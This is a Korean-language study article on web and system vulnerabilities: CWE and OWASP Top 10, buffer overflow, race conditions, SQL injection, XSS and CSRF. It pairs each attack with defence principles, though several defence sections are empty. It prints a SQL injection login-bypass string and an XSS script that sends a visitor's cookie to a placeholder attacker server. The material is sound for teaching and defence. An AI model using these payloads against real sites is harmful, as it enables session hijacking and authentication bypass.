왜 취약점을 “분류 체계”로 먼저 봐야 하는가

09편에서 애플리케이션·웹·DB가 데이터를 주고받는 구조와 신뢰 경계를 정리했습니다. 이 편은 그 신뢰 경계에서 검증이 실패했을 때 실제로 어떤 취약점(Vulnerability)이 발생하는지를 체계적으로 봅니다.

취약점이라는 말 자체는 02편에서 “위협이 이용할 수 있는 시스템의 약점”으로 정의했습니다. 이 편에서는 그 약점들을 국제적으로 통용되는 두 분류 체계, CWE와 OWASP Top 10 기준으로 정리한 뒤, 시험에 가장 자주 나오는 세 가지 웹 취약점(SQL 인젝션·XSS·CSRF)을 공격 원리와 방어 원칙을 짝지어 설명합니다.

쉽게 말하면: 취약점은 “문의 잠금장치가 허술한 지점”입니다. CWE는 그 허술한 지점들을 유형별로 정리해 놓은 사전이고, OWASP Top 10은 그중 웹사이트에서 실제로 가장 자주 뚫리는 상위 10개 유형을 뽑아 놓은 목록입니다.

1. 취약점의 정의와 분류 체계

CWE(Common Weakness Enumeration, 공통 취약점 유형 목록)는 미국의 비영리기관이 관리하는 소프트웨어·하드웨어 약점의 표준 분류 체계입니다. “SQL 인젝션”, “버퍼 오버플로우” 같은 각 취약점 유형마다 고유 번호(CWE-ID)를 부여해, 서로 다른 도구·보고서가 같은 취약점을 같은 이름으로 부를 수 있게 합니다.

OWASP(Open Worldwide Application Security Project, 오픈 월드와이드 애플리케이션 보안 프로젝트)는 웹 애플리케이션 보안에 특화된 국제 커뮤니티이며, 이 단체가 정기적으로 발표하는 OWASP Top 10은 웹 애플리케이션에서 실제 발생 빈도·심각도가 높은 취약점 상위 10개를 순위로 정리한 자료입니다.

2. 시스템 취약점 개관 — 버퍼 오버플로우와 Race Condition

웹 취약점으로 넘어가기 전에, 운영체제·프로그램 자체의 메모리·실행 구조에서 발생하는 시스템 취약점 두 가지를 개관합니다.

버퍼 오버플로우(Buffer Overflow)는 프로그램이 미리 확보해 둔 메모리 공간(버퍼)의 크기보다 더 큰 데이터를 그 공간에 써넣을 때, 넘친 데이터가 인접한 메모리 영역을 덮어써 버리는 취약점입니다. C 언어처럼 배열의 경계를 프로그래머가 직접 검사해야 하는 언어에서 흔히 발생하며, 덮어써진 영역이 프로그램의 실행 흐름을 제어하는 값(예: 함수가 끝난 뒤 돌아갈 주소)이라면 공격자가 임의 코드를 실행시키는 데까지 악용될 수 있습니다.

비유: 컵(버퍼)에 담을 수 있는 물의 양이 정해져 있는데, 그 이상 붓기 시작하면 물이 컵 밖으로 흘러넘쳐 옆에 놓인 다른 물건(인접 메모리)을 적셔버리는 것과 같습니다.

경쟁 조건(Race Condition)은 여러 프로세스나 스레드가 같은 자원(파일, 변수 등)에 동시에 접근할 때, 접근 순서에 따라 결과가 달라지는 상황을 이용하는 취약점입니다. 예를 들어 프로그램이 “파일의 권한을 확인하는 시점”과 “그 파일을 실제로 여는 시점” 사이에 아주 짧은 시간차가 있다면, 그 틈을 노려 파일을 다른 것으로 바꿔치기하는 공격(TOCTOU, Time-Of-Check to Time-Of-Use)이 가능해집니다.

3. SQL 인젝션 — 원리와 방어

SQL 인젝션(SQL Injection)은 09편에서 개관했듯, 애플리케이션이 사용자 입력을 검증 없이 SQL 쿼리 문자열에 그대로 결합할 때 발생합니다. 공격자는 입력값 안에 SQL 구문 조각을 섞어 넣어, 원래 개발자가 의도한 쿼리의 의미 자체를 바꿔 버립니다.

쉽게 말하면: 원래는 “이 사람의 데이터만 보여줘”라고 묻는 질문이었는데, 입력값을 조작해서 “무조건 전부 보여줘”로 질문 자체를 바꿔치기하는 것입니다.

개발자가 의도한 쿼리:
  SELECT * FROM members WHERE id = '입력값' AND pw = '입력값'

공격자가 id란에 입력한 값:
  ' OR '1'='1

결합된 실제 쿼리:
  SELECT * FROM members WHERE id = '' OR '1'='1' AND pw = ''

'1'='1'은 항상 참(True)인 조건이므로, 이 조건이 OR로 연결되면 비밀번호 검사와 무관하게 조건 전체가 참이 되어 로그인이 우회됩니다. 이것이 SQL 인젝션 중 가장 널리 알려진 “인증 우회” 패턴입니다.

방어 원칙

4. XSS — 원리와 방어

XSS(Cross-Site Scripting, 크로스 사이트 스크립팅)는 공격자가 조작한 스크립트(주로 자바스크립트)가 다른 사용자의 브라우저에서 그대로 실행되게 만드는 취약점입니다. SQL 인젝션이 “서버의 DB”를 노린다면, XSS는 다른 사용자의 브라우저를 노린다는 점이 결정적 차이입니다.

쉽게 말하면: 게시판 글쓰기 칸에 악성 스크립트를 심어 놓으면, 그 글을 읽는 다른 사람의 브라우저가 그 스크립트를 실행해버리는 것입니다.

게시글 입력값(악의적):
  <script>document.location='https://공격자서버?c='+document.cookie</script>

게시글이 검증 없이 그대로 페이지에 출력되면,
이 글을 읽는 다른 사용자의 브라우저가 위 스크립트를 실행해
그 사용자의 쿠키(09편에서 다룬 세션ID 포함)를 공격자에게 전송한다.

이렇게 유출된 세션ID는 09편에서 다룬 세션 하이재킹에 그대로 악용될 수 있습니다.

방어 원칙

5. CSRF — 원리와 방어

CSRF(Cross-Site Request Forgery, 사이트 간 요청 위조)는 사용자가 이미 로그인해 정상 세션을 유지하고 있는 상태를 악용해, 사용자가 의도하지 않은 요청을 공격자가 대신 만들어 서버에 전송시키는 취약점입니다. XSS가 “스크립트를 실행시키는” 공격이라면, CSRF는 스크립트 실행 없이도 정상적인 요청 형식 자체를 위조해 사용자 몰래 서버에 보내는 공격이라는 점이 다릅니다.

쉽게 말하면: 사용자가 은행 사이트에 로그인해 둔 상태에서, 공격자가 만든 다른 사이트를 열어보기만 해도 “계좌 이체” 요청이 사용자 몰래 은행 서버로 자동 전송되는 것입니다. 서버 입장에서는 그 요청이 진짜 사용자가 보낸 것인지, 사용자 몰래 조작되어 보내진 것인지 구분할 단서가 원래는 없습니다.

이 흐름에서 핵심은 브라우저가 같은 사이트로 요청을 보낼 때 쿠키를 자동으로 함께 실어 보낸다는 특성입니다. 서버는 요청에 담긴 세션ID만 보고 “로그인된 사용자의 정상 요청”이라고 오인하며, 그 요청이 사용자가 직접 누른 것인지 다른 사이트가 몰래 만들어 보낸 것인지는 구분하지 못합니다.

방어 원칙

6. 세 취약점 한눈에 비교

핵심 정리

• CWE는 소프트웨어 약점 전반의 사전식 분류 체계, OWASP Top 10은 웹에 특화된 상위 10개 위험 순위로, 서로 범위가 다르다.
• 버퍼 오버플로우는 메모리 경계 검사 부재, 경쟁 조건은 검사와 사용 사이의 시간차(TOCTOU)를 이용하는 시스템 취약점이다.
• SQL 인젝션은 입력값이 SQL 쿼리 구문으로 해석되는 문제이며, 근본 방어책은 준비된 문장으로 쿼리 구조와 데이터를 분리하는 것이다.
• XSS는 입력값이 브라우저에서 스크립트로 실행되는 문제이며, 저장형·반사형·DOM 기반으로 나뉘고 방어는 출력 인코딩과 HttpOnly 쿠키가 핵심이다.
• CSRF는 스크립트 실행 없이 브라우저의 쿠키 자동 전송을 악용해 요청을 위조하는 문제이며, 방어는 CSRF 토큰과 SameSite 쿠키가 핵심이다.
• 세 취약점은 공격 대상(DB·브라우저·서버)과 스크립트 실행 필요 여부로 명확히 구분되며, 방어책을 서로 뒤바꿔 고르지 않도록 주의한다.

마무리 복습

참고 자료

• OWASP - Top 10 웹 애플리케이션 보안 위험 
• 한국인터넷진흥원(KISA) - 웹 취약점 및 보안위협 개요 자료